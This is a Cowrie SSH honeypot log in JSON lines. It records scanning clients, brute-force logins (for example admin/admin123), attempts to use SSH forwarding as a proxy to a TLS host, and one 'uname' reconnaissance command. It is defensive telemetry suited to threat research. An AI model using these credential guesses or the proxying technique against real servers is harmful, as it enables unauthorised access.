{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":54928,"dst_ip":"159.203.135.109","dst_port":22,"session":"05a209167ae9","protocol":"ssh","message":"New connection: 97.74.87.152:54928 (159.203.135.109:22) [session: 05a209167ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:03.512757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:03.523051Z","src_ip":"97.74.87.152","session":"05a209167ae9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:03.646528Z","session":"06e60c567c43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:03.767635Z","src_ip":"97.74.87.152","session":"05a209167ae9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:03.903164Z","src_ip":"123.27.168.40","session":"06e60c567c43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x90\\x7f\\xef%\\xe8\\x01\\xbc\\x1ec\\x08\\x07\\x1b=U\\x1d\\x11\\xf9u\\xdf\\xb6\\x1b\\x04\\xb5\\xde1\\x17\\xbf\\xba\\x8e|\\xa3\\xfc \\x1f\\xbd]\\x99\\xf2\\x01\\xecb\\xcc\\xd8\\x03K\\x01\\xdc\\xb3`A3\\xef\\x07w \\x1fSC\"\\x83\\xf7\\xf3&A\\xe8\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf5jB\\xf2\\xf079#adYG\\xa9\\\\\\xb7[2\\xc1\\xc8\\xfc\\x13\\x85\\xa7\\x1bM\\xf1il4\\x0c\\xbb\\x14\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x90\\x7f\\xef%\\xe8\\x01\\xbc\\x1ec\\x08\\x07\\x1b=U\\x1d\\x11\\xf9u\\xdf\\xb6\\x1b\\x04\\xb5\\xde1\\x17\\xbf\\xba\\x8e|\\xa3\\xfc \\x1f\\xbd]\\x99\\xf2\\x01\\xecb\\xcc\\xd8\\x03K\\x01\\xdc\\xb3`A3\\xef\\x07w \\x1fSC\"\\x83\\xf7\\xf3&A\\xe8\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf5jB\\xf2\\xf079#adYG\\xa9\\\\\\xb7[2\\xc1\\xc8\\xfc\\x13\\x85\\xa7\\x1bM\\xf1il4\\x0c\\xbb\\x14\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:03.907001Z","src_ip":"123.27.168.40","session":"06e60c567c43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":50970,"dst_ip":"10.17.0.5","dst_port":22,"session":"afddab828f8a","protocol":"ssh","message":"New connection: 45.153.34.195:50970 (10.17.0.5:22) [session: afddab828f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:03.919452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:03.924584Z","src_ip":"45.153.34.195","session":"afddab828f8a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:04.191609Z","session":"06e60c567c43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:04.205849Z","src_ip":"45.153.34.195","session":"afddab828f8a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:04.492366Z","src_ip":"123.27.168.40","session":"06e60c567c43","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x97\\x05\\x10O\\xdd+)\\xc1A\\x8dmk\\x84\\xd0\\xd7\\xac,\\x17\\xca\\x11\\xd7\\xb3\\xee;\\xf2\\x8d\\xba\\x9c\\xe9\\xce\\xf0} \\x81\\xb2\\xc3ZQ)P\\x8b0%0\\xa8\\xc7D2\\x1ez\\xfa$\\x94{\\x953a\\x86\\x1c\\xf2Zb\\xff\\xbbW\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 k;v\\xfb^\\x12|\\xab[\\xdd\\xbc\\x0e\\xa1\\x89\\x94i8\\x1a>\\x12j\\xc7j0PZ`E:\\xfb\\x8f+\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x97\\x05\\x10O\\xdd+)\\xc1A\\x8dmk\\x84\\xd0\\xd7\\xac,\\x17\\xca\\x11\\xd7\\xb3\\xee;\\xf2\\x8d\\xba\\x9c\\xe9\\xce\\xf0} \\x81\\xb2\\xc3ZQ)P\\x8b0%0\\xa8\\xc7D2\\x1ez\\xfa$\\x94{\\x953a\\x86\\x1c\\xf2Zb\\xff\\xbbW\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 k;v\\xfb^\\x12|\\xab[\\xdd\\xbc\\x0e\\xa1\\x89\\x94i8\\x1a>\\x12j\\xc7j0PZ`E:\\xfb\\x8f+\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:04.496328Z","src_ip":"123.27.168.40","session":"06e60c567c43","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:04.624351Z","src_ip":"45.153.34.195","session":"afddab828f8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghost123","message":"login attempt [ghost/ghost123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:04.708292Z","src_ip":"97.74.87.152","session":"05a209167ae9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:04.919194Z","src_ip":"45.153.34.195","session":"afddab828f8a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:04.922496Z","src_ip":"45.153.34.195","session":"afddab828f8a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:05.013198Z","src_ip":"45.153.34.195","session":"afddab828f8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:05.018840Z","src_ip":"45.153.34.195","session":"afddab828f8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:05.121332Z","src_ip":"123.27.168.40","session":"06e60c567c43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:05.348876Z","src_ip":"91.92.40.36","session":"0556c667cfef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.8","message":"Connection lost after 17.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:05.824921Z","src_ip":"173.208.188.210","session":"69a225b4be50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:05.938251Z","src_ip":"97.74.87.152","session":"05a209167ae9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":50988,"dst_ip":"10.17.0.5","dst_port":22,"session":"adc1263432b7","protocol":"ssh","message":"New connection: 45.153.34.195:50988 (10.17.0.5:22) [session: adc1263432b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:06.914254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:06.927965Z","src_ip":"45.153.34.195","session":"adc1263432b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:07.018922Z","src_ip":"45.153.34.195","session":"adc1263432b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anderson","password":"123456","message":"login attempt [anderson/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:07.576302Z","src_ip":"45.153.34.195","session":"adc1263432b7","protocol":"ssh"}
